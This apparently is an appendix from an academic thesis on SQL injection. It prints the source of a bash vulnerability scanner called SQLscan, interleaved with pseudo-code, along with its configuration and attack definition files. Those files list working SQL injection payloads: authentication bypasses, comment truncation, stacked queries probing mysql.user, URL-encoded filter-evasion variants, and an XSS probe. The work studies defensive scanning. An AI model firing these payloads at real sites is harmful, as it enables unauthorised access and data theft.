  504   ?)    printf "\nUsage: %s: [-f attack_file] [-g] [-h] [-i] [[P  
      form_responder_URL] [-u username_field] [-p password_field]] [-s  
      successful_login_indicator] [-v] URL\n" $(basename $0) >&2 
  505         printf "For more information, type '%s -h'\n\n" $(basename  
      $0) >&2 
  506         exit 2 
  507         ;; 
  508   esac 
  509 done 
  510 shift $(($OPTIND -1)) 
 
  511 if [ -z "$1" ]; then 
  512   read -p "Please supply the URI of the site to scan (e.g.  
      http://www.mysite.com/login.html): " URL 
  513 else 
  514   URL=$1 
 
  515 fi 
  516 if [ "$1" == "--help" ]; then 
  517   usage 
  518 fi 
  519 if [ "${URL:0:4}" != "http" ]; then 
  520   URL="http://${URL}" 
  521 fi 
  522  
  If the ‘-s’ switch was used: Store the supplied  
    successful login indication string in  
    $SUCCESS_INDICATOR.  
  End If 
  If the ‘-u’ switch was used: store the supplied  
    username field name in $UIDFIELD. 
    Set the scanner to form posting mode. 
  End If 
  If the ‘-V’ switch was used: 
    Call version() 
  End If 
  If the ‘-v’ switch was used: 
    Turn verbose mode on. 
  End If 
  If any other switch was used (e.g. ‘-w’),  
  display brief syntax information. 
     
    Display how to make SQLscan show more  
    comprehensive help. 
    Exit with the error code 2. 
  End if 
 
End For 
Remove all arguments except the last one from the 
argument list. 
If the first (only) argument is empty: 
  Prompt the user to enter the URI of the site to  
  scan, placing the response in $URL. 
Otherwise: 
  Store the only remaining argument (the Web page  
  to scan) in $URL. 
End If 
If the 1st argument is ‘--help’: 
  Call usage(). 
End If 
If the first four letters of $URL are not ‘http’: 
  Prepend ‘http://’ to $URL. 
End If 
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  523 # 
  524 # Read in the configuration file 
  525 # 
  526 if [ -e "${CONF_FILE}" -a -r "${CONF_FILE}" ]; then 
  527   # File exists and is readable, so include it in this one 
  528   source ${CONF_FILE}  
  529  
  530   # SANITY CHECK FOR CONF FILE ENTRIES... 
  531   if [ -z $logfile ]; then 
 
  532     logfile="scan.log" 
  533   fi 
  534   # Clear the log file before we start logging 
  535   echo "" > $logfile 
  536  
  537   [ "$QUIET" = "0" ] && echo "Info: Logging to ${logfile}" 
 
  538   log "Info: Scan of $URL initiated at $(date)." 
  539    
  540   #if [ -z $requiredVariable ]; then 
  541   #  echo "Missing configuration variable: requiredVariable.  Please  
      modify the configuration file: ${CONF_FILE}." 
  542   #  CONTINUE=0 
  543   #fi 
  544   # END OF CONF FILE SANITY CHECK 
  545  
  546   # CHECK IF ALL REQUIRED COMMANDS/TOOLS EXIST (e.g. lynx, sed,  
      etc.) 
  547   # IF NOT, DIE GRACEFULLY 
  548   [ -z $pathToLynx ] && pathToLynx=$(which lynx 2>/dev/null) 
 
 
 
 
  549   [ -z $pathToSed ] && pathToSed=$(which sed 2>/dev/null) 
  550   [ -z $pathToSleep ] && pathToSleep=$(which sleep 2>/dev/null) 
  551   if [ $DEBUG -eq 1 ]; then 
  552     log "Using lynx at $pathToLynx." true 
  553     log "Using sed at $pathToSed." true 
 
 
 
If the configuration file exists and is readable: 
 
  Execute the commands in it.  
   
 
If the $logfile variable is not set (e.g. 
commented out in the configuration file): 
    Set $logfile to ‘scan.log’. 
  End If 
   
Create an empty log file (deleting any old logs of 
that name). 
If not in quiet mode, display the name of the log 
file to the user. 
Log the date and time at which the scan began. 
 
 
 
 
 
 
 
 
 
 
 
If the path to lynx is not set, use which to 
search for lynx on the system path, suppressing 
errors so that the $pathToLynx variable will be 
set if lynx is found but will remain empty if it 
is not. 
Similarly, set the $pathToSed variable.  
Similarly, set the $pathToSleep variable.  
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  554     log "Using sleep at $pathToSleep." true 
  555   fi 
  556   if [ -z "$pathToLynx" ]; then 
  557     log "ERROR: Cannot find an installed version of lynx (command 
line web browser).  Please install lynx on this system (on RedHat, type 
'yum install lynx').  If already installed, please edit the pathToLynx 
variable in ${INSTALL_DIR}/conf/sqlscan.conf.  Exiting" true 
  558     exit 3 
  559   fi 
   
  560   if [ -z "$pathToSed" ]; then 
  561     log "ERROR: Cannot find an installed version of sed.  Please 
install sed on this system, or if already installed, edit the pathToSed 
variable in ${INSTALL_DIR}/conf/sqlscan.conf.  Exiting" true 
  562     exit 4 
  563   fi 
  564   if [ -z "$pathToSleep" -a $delayBetweenScans -gt 0 ]; then 
 
  565     log "WARNING: Cannot find an installed version of the sleep  
      command. As a result, there will be no delay between scans.  If  
      sleep is installed on this system, please edit the pathToSleep  
      variable in ${INSTALL_DIR}/conf/sqlscan.conf." true 
  566   fi 
  567   if [ $CONTINUE -eq 1 ]; then 
  568     # Call the function that will do the work 
 
  569     if [ -z "$ATTACKFILE" -a $METHOD == "post" ]; then 
 
 
  570       getFormFields 
  571       Scan genericPostAttacks 
  572       # IF NOTHING IN THE genericPostAttacks WAS SUCCESSFUL, DON'T  
      PEFORM THE REST OF THE ATTACKS 
  573       #if [ "$INJECTABLE" ]; then 
  574         if [ "$SQLENGINE" != "Unknown" ]; then 
  575           # The SQL engine has been detected, so check for that  
      engine's vulnerabilities 
  576           ["CONTINUE" = "0" ] && Scan ${SQLENGINE}PostAttacks 
 
 
 
If the path to lynx is still unknown: 
    Display and log the error. 
     
 
  
    Exit with error code 3. 
  End If 
   
If the path to sed is still unknown: 
    Display and log the error. 
 
 
    Exit with error code 4. 
  End If 
If the path to sleep is still unknown and SQLscan 
is configured to delay between scans: 
    Display and log a warning that SQLscan cannot  
    pause between scans.  
 
 
  End If 
If the scan can proceed (i.e. no fatal error was 
experienced and no attack has requested that 
scanning be stopped if it succeeds): 
  If the ‘-f’ switch was not used to limit the  
  scanner to a particular attack file only,  
  and the scanner is set to test a login form:   
    Call getFormFields. 
    Call Scan, passing in a reference to the  
    generic login form attacks. 
 
    #If the form can be injected: 
      If the SQL engine is known: 
 
 
    Call Scan, passing in a reference to that  
         engine’s attack definition file, if the  
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  577         else 
  578           # We don't know which SQL engine is being used, so try  
      each known engine's attacks in turn 
  579           ["CONTINUE" = "0" ] && Scan MSSQLServerPostAttacks 
  580           ["CONTINUE" = "0" ] && Scan MySQLPostAttacks 
  581           ["CONTINUE" = "0" ] && Scan OraclePostAttacks 
  582         fi  
  583       #fi 
  584     else  
 
  585       if [ -z $ATTACKFILE ]; then 
  586         # METHOD is get... 
  587         getQuerystringFields 
  588         Scan genericGetAttacks 
  589         # IF NOTHING IN THE genericGetAttacks WAS SUCCESSFUL, DON'T  
      PEFORM THE REST OF THE ATTACKS 
  590         #if [ "$INJECTABLE" ]; then 
  591           if [ "$SQLENGINE" != "Unknown" ]; then 
  592             # The SQL engine has been detected, so check for that  
      engine's vulnerabilities 
  593             ["CONTINUE" = "0" ] && Scan ${SQLENGINE}GetAttacks 
 
  594           else 
  595             # We don't know which SQL engine is being used, so try  
      each known engine's attacks in turn 
  596             ["CONTINUE" = "0" ] && Scan MSSQLServerGetAttacks 
  597             ["CONTINUE" = "0" ] && Scan MySQLGetAttacks 
  598             ["CONTINUE" = "0" ] && Scan OracleGetAttacks 
 
  599           fi  
  600         #fi 
  601       else 
  602         # The -f switch was used to specify the attack file to use 
  603         [ "$METHOD" == "post" ] && getFormFields 
 
  604         [ "$METHOD" == "get" ] && getQuerystringFields 
 
  605         Scan $ATTACKFILE 
         scan has not been cancelled. 
 Otherwise: 
      
        Call Scan, passing in each attack  
        definition file, provided the scan has not  
        been cancelled. 
 
      End If 
    #End If  
  Otherwise (the –f switch was used or the scanner  
  is set to test a Query string based page: 
    If the ‘-f’ switch was not  
    used: 
      Call getQuerystringFields. 
      Call Scan, passing in a reference to the  
      generic query string attacks.  
 
 #If the page can be injected: 
    If the SQL engine is known: 
           Call Scan, passing in a reference to  
           that engine’s query string attack  
           definition file, if the scan has  
           not been cancelled. 
   Otherwise: 
 
 
          Call Scan, passing in a reference to  
          each database’s attack definition file,  
          as long as the scan has not been  
          cancelled. 
   End If 
 #End If  
    Otherwise (the ‘-f’ switch  
    was used): 
 If in form scanning mode, call  
      getFormFields. 
 If in query string scanning mode, call  
      getQuerystringFields. 
 Call Scan, passing in the attack file  
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  606       fi 
  607     fi 
  608 
  609     PROBLEMS_FOUND=$(grep 'Vulnerability:' ${logfile} | wc -l)   
 
 
  610     if [ $PROBLEMS_FOUND -eq 1 ]; then 
  611       plural="vulnerability" 
  612     else 
  613       plural="vulnerabilities" 
  614     fi 
  615     log "Info: ${PROBLEMS_FOUND} possible ${plural} found." True 
 
  616     log "Info: All done ($(date))."  
 
  617     if [ "$PROBLEMS_FOUND" != "0" -a "$QUIET" = "0" ]; then   
 
  618       read -p "List all Vulnerabilities? [y/n]: " -n1 -t10 listVulns 
 
 
 
  619       if [ -z "$listVulns" -o "$listVulns" = "n" -o "$listVulns" =  
      "N" ]; then 
  620         echo " - No" 
 
  621         echo "All vulnerabilities are listed in the log file:  
      ${logfile}" 
  622       else 
  623         echo "" 
  624         grep "Vulnerability" ${logfile} 
  625       fi  
  626     fi 
  627   else 
 
  628     echo "Exiting." 
  629   fi 
  630 else 
  631   echo "FATAL ERROR: missing or unreadable configuration file:  
      supplied by the user. 
    End If 
  End If 
 
  Use grep and wc to count the number of  
  vulnerabilities found, placing the count in  
  $PROBLEMS_FOUND.   
  Set $plural to “vulnerability” or  
  ‘vulnerabilities”, depending on the number  
  found. 
 
   
  Display and log the grammatically correct number  
  of vulnerabilities found. 
  Log the date and time at which the scan  
  finished. 
  If some vulnerabilities were found and SQLscan  
  is not in quiet mode: 
    Ask the user whether to list all  
    vulnerabilities, only allowing one character  
    as the answer and waiting 10 seconds before  
    continuing. 
    If no answer was given within 10 seconds, or  
    ‘n’ was typed: 
 
 
 Display where the list of vulnerabilities  
      can be found. 
    Otherwise: 
 
 Use grep to list only those lines in the log  
       file containing the sring ‘Vulnerability:’. 
    End If 
  Otherwise (the scanner has been told to stop  
  scanning): 
    Display “Exiting”. 
  End If 
Otherwise: 
  Display an error message, stating that the  
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      ${CONF_FILE}" 
  632   echo "Exiting." 
  633 fi 
 
 
 
      SQLscan.conf - Source Code  
 
   1 # 
   2 # SQLSCAN v1.0 - Configuration File 
   3 # 
   4 # Copyright (C) 2009 Evan Ryder. 
   5 # This file is part of SQLscan. 
   6 # 
   7 # SQLscan is free software: you can redistribute it and/or modify 
   8 # it under the terms of the GNU General Public License as published  
     by 
   9 # the Free Software Foundation, either version 3 of the License, or 
  10 # (at your option) any later version. 
  11 # 
  12 # SQLScan is distributed in the hope that it will be useful, 
  13 # but WITHOUT ANY WARRANTY; without even the implied warranty of 
  14 # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the 
  15 # GNU General Public License for more details. 
  16 # 
  17 # You should have received a copy of the GNU General Public License 
  18 # along with SQLscan (in the file 'COPYING)'.  If not, see  
     <http://www.gnu.org/licenses/>. 
  19 # 
  20 ######################################## 
  21 #  LOGGING                             # 
  22 ######################################## 
  23 # If no logfile is defined, sqlscan logs to sqlscan.log in your  
    current directory. 
  24 # To change this to sqlInjectionScan.log, define the log file's name  
     here: 
  configuration file is either missing or  
  unreadable. 
End If 
 
 
 
 
 
SQLscan.conf - Pseudo-code 
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  25 #logfile="sqlInjectionScan.log" 
  26 # To place all logs into sqlscan's logs directory, use the  
     INSTALL_DIR variable. E.g: 
  27 #logfile="${INSTALL_DIR}logs/scan.log" 
 
  28 # Label scan logs (e.g. log the scan of  
     http://www.mysite.com/login.html in logs/mysite.com_login.html.log)  
     by uncommenting the following 6 lines: 
  29 logfile="${INSTALL_DIR}logs/${URL//\//_}.log" 
 
 
  30 logfile=${logfile/http:__/} 
  31 logfile=${logfile/https:__/} 
  32 logfile=${logfile/www./} 
  33 logfile=${logfile//_./.} 
 
  34 logfile=${logfile%\?*} 
  35 # If you have defined a logfile, above, you can avoid overwriting  
     older scan logs by uncommenting the following 2 lines: 
  36 #logfile="${logfile}.$(date)" 
 
  37 #logfile=${logfile// /_} 
 
  38 logfile="${logfile/.log/}.log" 
  39 # 
  40 ######################################## 
  41 #  OTHER UTILITIES                     # 
  42 ######################################## 
  43 # Non-interactive invocations of SQLSCAN may not include the paths to  
     each utility.  Specifying them here will   ensure that everything  
     will work as expected in a scheduled scan. 
  44 #pathToSed="/bin/sed" 
  45 #pathToSleep="/bin/sleep" 
  46 #pathToLynx="/usr/bin/lynx" 
  47 # 
  48 ######################################## 
  49 #  SCANNING                            # 
  50 ######################################## 
  51 # To avoid impacting the Web server's performance, set a delay  
25 # Set loggfile to "sqlInjectionScan.log" 
 
 
27 # Set logfile to scan.log in SQLscan’s logs  
   directory. 
 
 
29 Set $logfile to the path to SQLscan’s logs  
   directory, followed by the URL of the  
   page to scan (with forward slashes replaced  
   with underscores), and append ‘.log’. 
30 Remove ‘http:__’ from $logfile. 
31 Remove ‘https:__’ from $logfile. 
32 Remove ‘www.’ From $logfile. 
33 Replace all occurrences of ‘_.’ with ‘.’ within  
   $logfile. 
34 Remove any query string (i.e. the question mark 
and anything that follows it) from $logfile. 
 
36 # Append a dot and the current date to  
   $logfile. 
37 # Replace all spaces in $logfile with  
   underscores. 
38 Remove ‘.log’ from the middle of logfile (if it  
   exists, and append ‘.log’ to the resulting  
   string. 
 
 
 
 
 
44 # Set the path to sed to "/bin/sed" 
45 # Set the path to sleep to "/bin/sleep" 
46 # Set the path to lynx to "/usr/bin/lynx" 
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     between scans (in seconds) between each try.  You may  also need to  
     set the pathToSleep variable in the 'Other Utilities' section, above. 
  52 delayBetweenScans=1 
  53 # 
  54 # Attack definitions (stored in conf/*.txt) can reference files       
     containing multiple searchphrases.  These files are in the  
     successIndicators directory 
  55 # and are typically used to list the phrases that appear on the page  
     once the user has logged in - indicating that the login form was  
     successfully bypassed by the attack. 
  56 # Each searchphrase should appear on a seperate line within the file.  
  57 # If any of these searchphrases are found in the server's response,  
     the attack is considered to be successful.  
  58 # Setting APPEND_GENERIC_INDICATORS to 'true' automatically adds  
     SQLSCAN's list of common 'successful login' searchphrases to these  
      files. 
  59 # 
  60 APPEND_GENERIC_INDICATORS="false" 
 
 
 
 
 
52 Set the delay between scans to 1 second 
 
  
 
 
 
 
 
 
 
 
 
 
 
 
60 Do not add SQLscan’s generic list of success  
   indicators to those provided by the user.  
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Appendix D – SQLscan Supporting Files 
Attack Definition Files. 
The SQLscan engine is essentially a brute force, form or query string manipulation 
tool which allows the user to test individual fields for vulnerabilities.  Many potential 
vulnerabilities exist for each method of user input and while general attack techniques may 
apply to each method, their syntaxes often differ.  For this reason, and because of the 
requirement to create a lightweight but thorough scanner by avoiding tests which are not 
relevant to the item being tested, attack definitions are split logically into separate attack 
definition files (ADFs).  These form-and query string-ADFs are further split by target 
database engine because of the variations in syntax used by the major database management 
systems.   It is recognized that ANSI SQL is supported by all database management systems, 
and any attacks which would be syntactically valid on all platforms can be placed in generic 
ADFs.  As with all other ADFs, two generic ADFs exist, one for Web forms using the HTTP 
‘Post’ method, and another for query string driven applications, using the HTTP ‘Get’ 
method. 
 Attack definition files are editable text files which conform to a standard format.  
Individual attacks are defined on separate lines and comments are created by beginning a line 
with the pound sign (‘#’).  All ADFs are stored in SQLscan’s ‘conf’ subdirectory using a 
common naming convention, comprised of the name of the target SQL engine followed by 
the HTTP method used and the string ‘Attacks.dat’.  For example, all attacks which could be 
performed on a MySQL database will be found in the following files: 
• GenericGetAttacks.dat 
• GenericPostAttacks.dat 
• MySQLGetAttacks.dat 
• MySQLPostAttacks.dat 
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The organization of attack definitions in this manner facilitates the product’s 
extensibility as new attack definition files can be created at any time without affecting the 
normal operation of the system.  Copies of existing definition files can be created, allowing a 
developer to rapidly construct the attacks contained within it to the syntax required by the 
new target SQL engine.  Once this task has been completed, all that remains is for the 
developer to include any tests for exploitable features or capabilities, unique to the new target 
database.  Once complete, a new ADF can be included in every scan with a simple 
modification to the sqlscan script.  Exclusive use of any ADF can be achieved through the 
use of the –f command-line switch, which instructs SQLscan to limit its attacks to those in 
the specified file. 
During normal use, where the –f switch is not used, SQLscan will begin by iterating 
through the generic attacks for the HTTP method used by the system being tested.  Many of 
the attacks defined within these files are intended to invoke an error in the online system's 
underlying database, which, if exposed by the application, is used to identify that database.  
This knowledge is then used to filter out any attacks intended for other database engines as 
they would be ineffectual.  If successful, this feature can have a significant impact on both the 
time required to perform a scan and the additional load on the target server.  Figures D.1 and 
D.3, respectively, show the contents of the generic ‘Get’ and ‘Post’ attack definition files. 
Although SQLscan was designed to support multiple databases, limitations in project 
scope meant that attack definition files were only fully developed for the MySQL database.  
All other ADFs in the conf subdirectory are skeletal placeholders for the products of future 
research and development.  As explained earlier, attack definition files are divided into HTTP 
‘Get’ and ‘Post’ versions, which allow only the relevant attacks to be carried out on any 
scanned system.  This approach is also beneficial for another reason:  it is necessary for the 
attack definition syntax to differ slightly for each method, largely because SQLscan’s ’Post’ 
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attacks are designed to test authentication forms, requiring both the username and password 
entries to be supplied.  In contrast, ‘Get’ attacks are always performed on a single input 
variable, so one less field is required within the definition file.  To facilitate further 
development by third parties, the fields required by each file are defined within comments in 
that file's header.  The MySQL ‘Get’ and ‘Post’ attacks are listed in figure D.2 and D.4, 
respectively. 
When building attack definitions, numeric values were used whenever that field’s 
type was unknown but this information was not required to build a successful attack.  It was 
important to include a value within unused fields to prevent the attack from being suppressed 
by inadequate server-side input validation, such as checks for empty input fields but no 
checks for the validity of the supplied data.  The resulting SQL command also needed to pass 
SQL syntax checks, maximizing that attack’s chances of being executed and thereby 
increasing the chance of a vulnerability being detected.  Integer values were chosen because 
they are valid SQL entries for both character and numeric fields.  This technique was 
frequently used in ‘Post’ attacks, when the attack involved injection into one form field only.    
SQLscan’s attacks were designed to exploit any weaknesses in an application's logic.  
For example, the same attack may be repeated a number of times with slight variations in 
syntax to substitute commonly suppressed or escaped characters with less-well-known 
equivalents.  The reasoning behind this approach is that the application’s defenses may have 
been designed by a developer with an incomplete knowledge of that language's syntax or 
inadequate time to develop a robust system.  Both scenarios could mean that less well-known 
syntactical variations of well-known attacks could successfully circumvent any 
countermeasures, present within the application’s security layer.   
Many SQL injection attacks on vulnerable systems can fail because the developer's 
approach is not intuitive to the attacker.   For example, an application could select all 
SQL INJECTION SURVEY - WEBSITE DEVELOPMENT PRACTICES                              174 
passwords, followed by usernames, from the user table and this reversal in the order of fields 
within the SELECT statement could render the attacker’s injected SQL ineffective.  It is for 
this reason that SQLscan’s ‘Post’ attacks are performed on both username and password 
fields in turn.  
After sending malformed requests in an attempt to generate an error response from the 
underlying database server, the generic ‘Get’ attacks attempt to increase the number of 
records returned by the query, using the comment syntax to cause the remainder of the 
hardcoded SQL statement to be ignored.  Database-specific ATFs then attempt the same 
attack, using alternate syntaxes, supported by that database engine, to circumvent any 
application level countermeasures through obfuscation or the avoidance of disallowed 
characters.  Next, attempts are made to append additional SQL commands to the application’s 
query, using a table which is only accessible if the account, used to connect to the database, 
has root privileges.  This allows SQLscan to report on both the vulnerability in the 
application's logic and the over-privileged account, which increases the amount of damage 
which can be caused via any exploitable vulnerability.  Similar tests are then performed, 
using tables which are globally accessible, to report the vulnerability in the more usual case 
where the anonymous Web user has restricted SQL privileges.  Following this, tests are 
performed to identify whether UNION SELECT attacks can be performed to enumerate the 
database and access sensitive information.  These test attacks differ for UNIX and Windows 
servers and both sets of attacks are executed in turn, even the one complete set will be 
ineffectual, to ensure a thorough scan.  SQLscan and then checks whether the application's 
SQL statement can be extended in other ways to access sensitive information or enumerate 
the database, again checking for overly-generous account privileges. 
Generic ‘Post’ attacks also attempt to generate errors which may allow the underlying 
database to be identified.   This is followed by some simple, easy to detect, attempts to bypass 
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the authentication form, similar to those demonstrated in most introductions to SQL injection.  
As with ‘Get’ attacks, database-specific ‘Post’ attacks are variations of these, using valid 
syntax for the target database system which may not be automatically recognized as 
malicious code due to their non-standard syntax.  Again, attempts are made to append another 
command, first retrieving information which would only be available to highly privileged 
users and then repeating the same techniques to test for the vulnerability if the system in 
question is following best practice by using an account with reduced privileges.  Following 
this, a number of attempts are made to bypass the authentication form, taking advantage of 
the capabilities and syntax supported by the database engine in question.  Some attempts are 
then made to use server-side truncation of input fields to escape the field's closing', thereby 
making SQL injection possible.  UNION SELECT enumeration vulnerabilities are then 
tested, with each check being repeated to detect whether overly-high database access 
permissions increase the risk from any such successful attack .  This is followed by some 
attempts to login with common, guessable, usernames and to enumerate data one field at a 
time, using information disclosed via the system's ‘login failed’ message.
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# SQLscan: Generic SQL Injection querystring attacks definition file 
# 
# Copyright (C) 2009 Evan Ryder. 
# This file is part of SQLscan. 
# 
# SQLscan is free software: you can redistribute it and/or modify 
# it under the terms of the GNU General Public License as published by 
# the Free Software Foundation, either version 3 of the License, or 
# (at your option) any later version. 
# 
# SQLscan is distributed in the hope that it will be useful, 
# but WITHOUT ANY WARRANTY; without even the implied warranty of 
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the 
# GNU General Public License for more details. 
# 
# You should have received a copy of the GNU General Public License 
# along with SQLscan (in the file 'COPYING)'.  If not, see <http://www.gnu.org/licenses/>. 
# 
# 
# Format: 
#   Querystring|Success indicator|Stop if successful|Description 
# 
#   Querystring:  The entry to place in the system's active querystring field. 
#     The active querystring field is determined by SQLSCAN during runtime. 
#     When defining attacks in this file, the field name is represented by an 
#     uppercase X (e.g. X=1 UNION SELECT ...). 
#     It is possible to use this field's original value in an attack using the 
#      ${ORIGVALUE} bash variable: E.g. X=${ORIGVALUE} 
# 
#   Success indicator:  The string which, if it appears in the resulting page, 
#     indicates that this attack was succesful.  This field can also reference a 
#     filename (in the successIndicators directory), containing multiple 
#     possible matches.  Valid entries are:  
# a) 'userDefined' - The string as defined by the interactive user or 
#    supplied via the -s switch. 
# b) 'identify' - Indicating that this check is used to identify the SQL 
#    engine in use. 
#       c) Any valid file name within the successIndicators sub-directory. 
#          Such files can contain multiple possible matches - each on a seperate 
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#          line.  An attack is considered to be successful if any entry in the 
#    referenced file is matched. 
#     All other entries are treated as success indication strings and if found 
#     in the form responder's HTML source, will indicate a successful attack. 
# 
#   Stop if successful: If this attack succeeds, stop scanning if there is a 1 
#     in this field.  
# 
#   Description:  The text to describe the attack.  This is displayed on 
#     screen and in the log file if the attack is successful. 
# 
# Reserved characters:  
#                      | (field delimiter - use ^ wherever a vertical bar is required) 
#                      ~ (temporarily replaces spaces to enable the passing of complete fields as function 
parameters.  Any ~ in this file will be converted into a space) 
#                      ^ (used in place of | in any SQL syntax) 
#                      # (This is reserved in HTTP URL notation - use %23 in its place) 
#                      & (This is reserved in HTTP URL notation - use %26 in its place) 
# 
# FIRST, TRY TO IDENTIFY THE SQL ENGINE BEING USED, USING THE BUILT-IN 
# 'IDENTIFY' SUCCESS INDICATOR: 
X='|identify|0|String termination to induce a syntax error - plain text 
X=;|identify|0|SQL command termination to induce a syntax error (numeric field) - plain text 
X=1' when 0|identify|0|Unsuppressed error messages: Character field - invalid syntax - plain text 
X=1 when 0|identify|0|Unsuppressed error messages: Numeric field - invalid syntax - plain text 
# Try to generate a table not found error.  E.g. ERROR 1146 (42S02): Table 'dbname.nonExistantTable' doesn't exist 
(MySQL) 
X=(SELECT id FROM nonExistentTable)|identify|0|Unsuppressed error messages: Numeric field - Reference to non-
existent table - plain text 
X=' AND 9 = (SELECT id FROM nonExistentTable)|identify|0|Unsuppressed error messages: Alphabetic field - Reference 
to non-existent table - plain text 
# Try to generate an 'unknown column' error using a table which is known to exist: ERROR 1054 (42S22): Unknown 
column 'idxr3' in 'where clause' 
X=(SELECT idxr3)|identify|0|Unsuppressed error messages: Numeric field - Reference to non-existent column in 
existing table - plain text 
X=' OR 9 = (SELECT idxr3)|identify|0|Unsuppressed error messages: Alphabetic field - Reference to non-existent 
column in existing table - plain text 
# Compare a single value to multiples:   ERROR 1241 (21000): Operand should contain 1 column(s) or ERROR 1242 
(21000): Subquery returns more than 1 row 
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X=(SELECT 1, 2)|identify|0|Unsuppressed error messages: Numeric field - Comparing single numeric value to multiples 
- plain text 
X=' OR ${ORIGVALUE} = (SELECT 1, 2)|identify|0|Unsuppressed error messages: Character field - Comparing single 
numeric value to multiples - plain text 
#  
# NOW THAT WE (HOPEFULLY) KNOW THE SQL ENGINE, TRY TO IDENTIFY OTHER 
# VULNERABILITIES USING BESPOKE SUCCESS INDICATOR FILES OR STRINGS: 
#X=';echo('abcdefg');|abcdefg|0|Server-Side Code Injection (PHP). 
X=';alert('abcdefg');|abcdefg|0|Client-Side Code Injection & Cross Site Scripting (XSS). 
# GENERIC SQL INJECTION TECHNIQUES 
# variations of 'OR 1=1' 
X=1 OR 432=432|userDefined|0|Return all records using 'OR n=n' (plaintext, no truncation) 
X=1' OR 432=432|userDefined|0|Return all records using 'OR n=n' (plaintext, no truncation) 
X=1 OR 432=432 -- |userDefined|0|Return all records & query truncation using 'OR n=n -- ' (plaintext) 
X=1' OR 432=432 -- |userDefined|0|Return all records & query truncation using 'OR n=n -- ' (plaintext) 
 
 
Figure D.1– genericGetAttacks.dat 
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# SQLscan: MySQL SQL Injection querystring attacks definition file 
# 
# Copyright (C) 2009 Evan Ryder. 
# This file is part of SQLscan. 
# 
# SQLscan is free software: you can redistribute it and/or modify 
# it under the terms of the GNU General Public License as published by 
# the Free Software Foundation, either version 3 of the License, or 
# (at your option) any later version. 
# 
# SQLscan is distributed in the hope that it will be useful, 
# but WITHOUT ANY WARRANTY; without even the implied warranty of 
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the 
# GNU General Public License for more details. 
# 
# You should have received a copy of the GNU General Public License 
# along with SQLscan (in the file 'COPYING)'.  If not, see <http://www.gnu.org/licenses/>. 
# 
# 
# Format: 
#   Querystring|Success indicator|Stop if successful|Description 
# 
#   Querystring:  The entry to place in the system's active querystring field. 
#     The active querystring field is determined by SQLSCAN during runtime. 
#     When defining attacks in this file, the field name is represented by an 
#     uppercase X (e.g. X=1 UNION SELECT ...). 
#     It is possible to use this field's original value in an attack using the 
#      ${ORIGVALUE} bash variable: E.g. X=${ORIGVALUE} 
# 
#   Success indicator:  The string which, if it appears in the resulting page, 
#     indicates that this attack was succesful.  This field can also reference a 
#     filename (in the successIndicators directory), containing multiple 
#     possible matches.  Valid entries are:  
# a) 'userDefined' - The string as defined by the interactive user or 
#    supplied via the -s switch. 
# b) 'identify' - Indicating that this check is used to identify the SQL 
#    engine in use. 
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#       c) Any valid file name within the successIndicators sub-directory. 
#          Such files can contain multiple possible matches - each on a seperate 
#          line.  An attack is considered to be successful if any entry in the 
#    referenced file is matched. 
#     All other entries are treated as success indication strings and if found 
#     in the form responder's HTML source, will indicate a successful attack. 
# 
#   Stop if successful: If this attack succeeds, stop scanning if there is a 1 
#     in this field.  
# 
#   Description:  The text to describe the attack.  This is displayed on 
#     screen and in the log file if the attack is successful. 
# 
# Reserved characters:  
#                      | (field delimiter - use ^ wherever a vertical bar is required) 
#                      ~ (temporarily replaces spaces to enable the passing of complete fields as function 
parameters.  Any ~ in this file will be converted into a space) 
#                      ^ (used in place of | in any SQL syntax) 
#                      # (This is reserved in HTTP URL notation - use %23 in its place) 
#                      & (This is reserved in HTTP URL notation - use %26 in its place) 
#  
X=1 OR 432=432 --%20|userDefined|0|Return all records & query truncation using '--%20' (numeric field - plaintext) 
# See if mysql's other comment characters are filtered out 
X=1 OR 432=432 %23|userDefined|0|Return all records & query truncation using '#' (numeric field - plaintext) 
X=1' OR 432=432 %23|userDefined|0|Return all records & query truncation using '#' (character field - plaintext) 
X=1 OR 432=432 /*|userDefined|0|Return all records & query truncation using '/*' (numeric field - plaintext) 
X=1' OR 432=432 /*|userDefined|0|Return all records & query truncation using '/*' (character field - plaintext) 
# 
# Try to return all records by appending OR TRUE (aka ||1 ) 
X=1%7c%7c1--%20|userDefined|0|Return all records using alternate OR syntax (2 vertical bars) & query truncation 
using '--%20' (numeric field - plaintext) 
X=1%7c%7c1%23|userDefined|0|Return all records & query truncation using  alternate OR syntax (2 vertical bars) and 
'#' (numeric field - plaintext) 
X=1%7c%7c1/*|userDefined|0|Return all records & query truncation using alternate OR syntax and '/*' (numeric field - 
plaintext) 
X=1'%7c%7c1--%20|userDefined|0|Return all records iusing alternate OR syntax (2 vertical bars) & query truncation 
using '--%20' (character field - plaintext) 
X=1'%7c%7c1%23|userDefined|0|Return all records & query truncation using  alternate OR syntax (2 vertical bars) and 
'#' (character field - plaintext) 
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X=1'%7c%7c1/*|userDefined|0|Return all records & query truncation using alternate OR syntax and '/*' (character 
field - plaintext) 
# 
# See if additional commands can be appended 
X=${ORIGVALUE};DESC mysql.user; -- |max_user_connections|0|!! MySQL connecting as ROOT !! Plaintext additional 
command (numeric field) 
X=${ORIGVALUE});DESC mysql.user; -- |max_user_connections|0|!! MySQL connecting as ROOT !! Plaintext additional 
command (numeric field) 
X=${ORIGVALUE};DESC/**/mysql.user%23|max_user_connections|0|!! MySQL connecting as ROOT !! Plaintext additional 
command with no spaces (numeric field) 
X=${ORIGVALUE});DESC/**/mysql.user%23|max_user_connections|0|!! MySQL connecting as ROOT !! Plaintext additional 
command with no spaces (numeric field) 
X=${ORIGVALUE}';DESC/**/mysql.user%23|max_user_connections|0|!! MySQL connecting as ROOT !! Plaintext additional 
command with no spaces (char field) 
X=${ORIGVALUE}');DESC/**/mysql.user%23|max_user_connections|0|!! MySQL connecting as ROOT !! Plaintext additional 
command with no spaces (char field) 
X=${ORIGVALUE}%3bDESC%20mysql.user; -- |max_user_connections|0|!! MySQL connecting as ROOT !! Plaintext additional 
command with minimal URL encoding (numeric field) 
X=${ORIGVALUE}%29%3bDESC%20mysql.user; -- |max_user_connections|0|!! MySQL connecting as ROOT !! Plaintext 
additional command with minimal URL encoding (numeric field) 
X=${ORIGVALUE}%3bD%45SC%20mysql%2euser%3b%20%2d%2d%20|max_user_connections|0|!! MySQL connecting as ROOT !! 
Partially URL-encoded additional command (numeric field) 
